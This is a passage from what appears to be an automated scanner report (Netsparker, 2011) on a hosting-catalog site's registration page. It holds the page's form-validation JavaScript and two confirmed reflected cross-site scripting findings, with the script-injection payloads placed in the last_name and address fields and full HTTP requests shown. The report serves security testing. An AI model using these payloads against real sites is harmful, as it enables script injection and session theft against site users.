(card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='76E0188F5F077DBD07E8CE23B2E90A91C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='76E0188F5F077DBD592BD37523D41FEA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='76E0188F5F077DBD2C27DA94B3C3B1B8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBD340EA7B2BC8A22B8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='76E0188F5F077DBD41C8730B9C86CA8B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='76E0188F5F077DBD830D23986393E080C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='76E0188F5F077DBDBA5E0588C57F7A39C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='76E0188F5F077DBDF7E91C57F9D527D06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='76E0188F5F077DBD81867230C614D80BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='76E0188F5F077DBD3AA9ACBA7051BF106F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='76E0188F5F077DBD8F008AC94083CF61C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='76E0188F5F077DBD85BE4CD0AF744F08C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='76E0188F5F077DBD02C95BA9792B54A5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBDC5DEC01153508375C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='76E0188F5F077DBD4D064D4D53154948C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='76E0188F5F077DBD44A3C63D75A7293FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='76E0188F5F077DBDFDBB6FA368FBDE566F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='76E0188F5F077DBD549D8064E275C3C96F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='76E0188F5F077DBD771C0C2A87E4991C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST '"--></style></script><script>alert(0x001D86)</script>
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 540
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001D86)%3c%2fscript%3e&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:17:14 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='76E0188F5F077DBD6229B88A7A2FC0F3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='76E0188F5F077DBDFD8C262E2A0492206F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='76E0188F5F077DBD856869A1D615380CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBD1F08383680609ECDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='76E0188F5F077DBD66CAF9AA8649A9D96F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='76E0188F5F077DBDB2CFF49E59CD9E75C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='76E0188F5F077DBD7BD6F32DD7D69FADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='76E0188F5F077DBD40E83C4BC2ABD50C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='76E0188F5F077DBDED81542F06DC87DDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='76E0188F5F077DBD4F973DD2713692A16F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='76E0188F5F077DBD7E8C2E8AA887A5EFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='76E0188F5F077DBD66B214DAB8E00CC8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='76E0188F5F077DBD1F45E6D60FADC52FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBDD24BC5C5DAC4803CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='76E0188F5F077DBDCCC306D8F07BB48CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='76E0188F5F077DBDEA4F1F00DF233992C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='76E0188F5F077DBD5A8D6214527DC28A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='76E0188F5F077DBDAF9D507C11820F5B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='76E0188F5F077DBD3CE6AFA9417F0F306F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST '"--></style></script><script>alert(0x001D87)</script>
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001D87)%3c%2fscript%3e&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:17:17 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


